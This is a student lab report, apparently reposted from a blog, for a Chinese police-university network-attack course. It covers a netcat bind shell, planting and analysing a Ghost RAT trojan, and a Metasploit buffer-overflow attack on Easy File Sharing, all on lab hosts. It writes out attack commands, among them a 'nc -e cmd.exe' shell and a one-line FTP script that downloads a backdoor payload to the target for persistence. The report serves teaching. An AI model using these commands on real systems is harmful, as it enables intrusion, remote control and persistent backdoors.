实验四 恶意代码技术

学   号 xxxx

 

中国人民公安大学

Chinese people’ public security university

 

网络对抗技术

实验报告

 

实验四

恶意代码技术

 

学生姓名

x

年级

x

区队

x

指导教师

x

 

 

信息技术与网络安全学院

2020117


实验任务总纲

2020—2021学年   学期

一、实验目的

1.通过对木马的练习,使读者理解和掌握木马传播和运行的机制;通过手动删除木马,掌握检查木马和删除木马的技巧,学会防御木马的相关知识,加深对木马的安全防范意识。

 

2.了解并熟悉常用的网络攻击工具,木马的基本功能;

3.达到巩固课程知识和实际应用的目的。

二、实验要求

1.认真阅读每个实验内容,需要截图的题目,需清晰截图并对截图进行标注和说明。

2.文档要求结构清晰,图文表达准确,标注规范。推理内容客观、合理、逻辑性强。

3.软件工具可使用NC、MSF等。

4.实验结束后,保留电子文档。

三、实验步骤

1.准备

提前做好实验准备,实验前应把详细了解实验目的、实验要求和实验内容,熟悉并准备好实验用的软件工具,按照实验内容和要求提前做好实验内容的准备。

2.实验环境

描述实验所使用的硬件和软件环境(包括各种软件工具);

开机并启动软件office2003或2007、浏览器、加解密软件。

3.实验过程

1)启动系统和启动工具软件环境。

2)用软件工具实现实验内容。

4.实验报告

按照统一要求的实验报告格式书写实验报告。把按照模板格式编写的文档嵌入到实验报告文档中,文档按照规定的书写格式书写,表格要有表说图形要有图说。

 

任务一 利用NC控制电脑

 

 NetCat,具有网络军刀之称,它小巧精悍且功能强大,说它小巧精悍,是因为他的软件大小现在已经压缩到只有十几KB,而且在功能上丝毫不减。

 

实验过程需要两个同学相互配合完成:

此处靶机为192.168.242.145

攻击机为192.168.242.100

步骤一:

   在受害者的机器 (同学A)输入下面的命令:

  nc.exe -l -p 4444 -e cmd.exe   进入监听模式

 


步骤二:
    在攻击者的机器.(同学B)
输入下面的命令:
    nc 192.168.242.145  4444        //连接对方IP:port,然后得到一个shell。

 

 

步骤三:

在shell中,利用net user  用户名 密码 /add ,添加一个用户,并在受害者的机器中使用 net user 命令进行验证。(需要截图)

靶机上net user验证:

 

 可以继续通过命令行做一些事情。此处例如:在对方当前目录下创建一个文件叫click me,并往里面写入文本信息“hello win2008”

 

返回靶机上查看,可以发现成功,不过存在一点小瑕疵,应该将输出文件用引号围起来。

任务二 利用木马控制电脑

相关工具:

https://pan.baidu.com/s/1ipOkdU2HTPFtgU6fF669Gg

https://pan.baidu.com/s/1ajmRKsnv5XvFrKWzszDYwQ(备用,另外一个木马)

 

实验过程需要两个同学配合:

 

步骤一:

木马客户端:192.168.242.132

木马服务端1:192.168.242.128

木马服务端2:192.168.242.133

 

攻击者的机器. (同学A)打开ghost rat木马客户端:

配置一个服务端程序(即木马程序),回连地址以及备用回连地址均设为本机192.168.242.132,监听的回连端口为默认的2012端口,其次勾选自删除功能,生成服务端文件server.exe

步骤二:

为模拟更加真实情况,攻击方通过暴破对方445端口上存在弱口令的的网络磁盘映射功能,建立了ipc$空连接,并将该木马投送到对方主机上,然后为靶机添加了计划任务,即两分钟后启动执行该木马服务端程序。

 

同样的方法,将木马服务端投送到其他靶机上,攻击机上监听端口,等待回连。最后发现,仅有window个人PC版系统能够回连(win7,winxp),而服务器系统win2008是不能成功回连的,初步检查后,确保win2008上的防火墙、defender、安全软件等等均已关闭,二者网络正常连通,仅双击后执行报错。故判断为,生成的这个木马服务端程序在win2008上执行会触发一些兼容性问题。可能并不适用于win2008。

 

步骤四:

在控制端中查看木马上线情况后,对该木马客户端提供的一些功能进行测试。

  1. 文件管理,尝试拷贝文件

 

  1. 屏幕控制,尝试获取桌面

 

  1. 键盘记录,尝试获取对方击键记录

 

  1. 会话管理,重启对方机器,查看是否能自启动上线

 

可以看到,我们通过win7的shell命令其重启,重启后它仍能重新上线,回连到我们的攻击机上。

最后,我们需要为对方卸载木马,步骤:会话管理,卸载对方的木马。

 

任务三木马分析

1.将任务二中生成的木马设置具备自删除功能和自启动功能,对其进行分析。回答以下问题(截图证明)

     (推荐使用“火绒剑”工具)

 

在安装火绒剑前,首先要对本次实验选用的木马客户端ghost rat所生成的服务端程序做一些必要说明。在个人所进行实验的三台靶机中(winxp、win7、win2008),仅winxp能基本成功展示出该木马服务端所有的行为特征,而其他系统中,该木马的表现均存在许多不足,如同样条件下,win7中其安装后并未自删除,也未进行相应进程伪装、在win2008中木马安装程序甚至都不能被运行等。故该任务三,采用winxp作为靶机,并安装火绒剑进行相关实验记录和分析。

 

Winxp系统上安装并打开火绒剑,然后将上一步的木马服务serve.exe拷入并双击运行,重点针对以下问题进行观察和分析。

  1. 该木马的回连IP是?

从上图的TCP/IP解析可以看出,该木马程序建立了一个TCP/IP连接,远程地址为192.168.242.132,该IP即为该木马的回连IP。

   2. 该木马的回连端口是?

 

从上图TCP/IP详情中的Socket可以看出,靶机开启了一个高位端口49225,与之通信的远程端口为2012,该端口即为该木马的回连端口。

  3. 该木马自删除后,会将自身的宿主程序改成什么名字,并隐藏到系统其它目录中。

 

如上图可以看出该serve.exe木马文件在靶机上安装完毕后,在explorer.exe(桌面进程)下,运行了一个可以进程,宿主程序名为了svchsot.exe,乍一看认为这是一个svchost.exe进程,该进程是Windows系统里及其重要的系统进程。

判断其可能将自己注入到了svchost.exe的进程中,但在进一步结合进程的文件名、文件路径、服务相关名称等特征分析后,判断它并不是将自己注入到svchsot.exe中,而是仅将自己文件名伪装成了一个和window重要系统进程svchost.exe很像的svchsot.exe,这是一种较为经典的利用名称混淆以达到欺骗目的的木马程序,并没有直接利用真正的svchost.exe进程,而是启动了另外一个名称相同的恶意进程。

因此,该木马安装完毕后,删除了原本的serve.exe进程和文件,并在C:WINDOWSFB609364目录下创建了一个名为svchsot.exe的文件以及启用了同名进程。

  4. 该木马依靠什么方法实现自启动的,怎么实现的。

通过查找重点部位后发现,该木马在注册表的启动项记录里添加了自身的相关信息,换句话说,该木马通过修改注册表启动项来实现自启动功能,具体就是在注册表的启动项里添加了一个REG_SZ(字符串类型)的键值,里面写入了木马程序的运行路径c:windowsFB609364svchsot.exe。

 

任务四 msf攻击体验

1.在主机A(win2008,192.168.242.145)上搭建easyfile,安装文件为efssetup。

2.在主机B上安装metasploitframework,并在安装目录中启动/bin下的msfconsole

 

此处直接使用kali(192.168.242.100),在kali上先启用postpresql数据库,然后运行msf控制台进行漏洞利用。

3.进入msf命令行后使用search命令查找相关模块,use 加载模块,show options 查看参数。

首先查找easyfile的相关Nday漏洞利用模块。

找到了三个,我们可以通过nmap来探测靶机上80端口运行的easyfile服务的具体详细信息,从而确定选用哪个模块进行攻击,可以看到,第一个是针对基于easyfile搭建的FTP的,后两个才是针对web服务的,我们选用第二个基于POST请求的缓冲区溢出。

 4.把远程目标参数rhosts设置为主机A的IP地址,开始攻击。

攻击配置模块所需的必要参数。

 

执行攻击后,成功获得对方的tcp反向连接。进入到meterpreter> 命令行下,说明已经获取到shell,可以使用sysinfo查看目标系统的信息,screenshot截屏。

 输入shell命令,即可看到反弹shell成功。Sysinfo也可以查看对方的操作系统相关信息.

当然还有screenshot获取截屏、upload/download传输文件、getsystem提权等等操作,但此时我们对目标的控制权仍不稳定,对方随时可能关机下线、或有所察觉进行升级打补丁等操作,我们还需要维持权限,生成持续性后门,说白了就是种马。

 

因此,下一步骤是权限维持、进一步控制目标机器,上传大马。

 

1.在B机器上搭建ftp,设置用户名和密码。

此处可以使用Linux的vsftpd,但为方便,我们直接使用msf的auxiliary模块下自带的临时ftp服务。

此处为方便起见,配置为允许匿名登录。(注意,在一些版本的系统中,通过命令行进行ftp匿名登录错误,可以尝试用户名为anonymous,密码为whatever)

 

2.在B机器开启木马控制端,生成木马server.exe,并放置在ftp目录下。

 

同样我们直接使用msfvenom来直接生成一个木马程序,我们配置payload为较为常用的建立tcp反向连接,配置回连端口为5555,回连IP为192.168.242.100(kali攻击机),生成为exe文件。

然后将我们生成好的木马服务端haha.exe放入ftp的根目录下:

并且在msf中使用exploit模块下的handle子模块对我们的5555端口进行监听,注意设置payload,同样为windows/meterpreter/reverse_tcp。

3.在meterpreter>命令行下输入shell ,进入被控机器的shell, 用被控机器的shell登录B机器的ftp,下载并执行木马。查看木马上线。

上述木马程序准备好后,下一步就是让靶机登录我们的临时ftp进行下载和执行。因此返回到刚刚获得的靶机回连的session里去,获取反弹shell,下载木马服务程序haha.exe。

注意,这里存在一个问题,在通过反弹shell输入相关命令准备登录ftp时,此时若靶机为win10,则我们获得的反弹shell是能正常反馈并显示登录必要信息的(如:”输入用户名”、”输入密码”、欢迎banner等);但若靶机不是win10,绝大部分Windows10以下的系统,反弹回来的shell是不能正常反馈和显示ftp登录操作的相关信息的,也就是说,不能输入用户名和密码,即便强行输入了也没用。Win2008、win7均存在该问题。

笔者靶机使用的是win2008,自然也面临这个问题。但此处提供一种简单的思路,以绕过该反弹shell造成的登录难点。我们可以通过编写bat批处理程序,或用ftp -s参数来实现ftp登录。此处采用的是ftp -s的方式。执行以下命令即可:

echo open 192.168.242.100>code.txt&echo anonymous>>code.txt&echo whatever>>code.txt&echo binary>>code.txt&echo get haha.exe>>code.txt&echo bye>>code.txt&ftp -s:code.txt

执行后,等待几秒,即可发现5555端口监听到来自靶机的tcp连接请求,我们进入其对应的session,成功获取到meterpreter会话,查看反弹shell,反弹成功。

至此,我们在靶机上建立了持续性后门,达到预期实验目标。

原文地址:https://www.cnblogs.com/P201821460033/p/14087299.html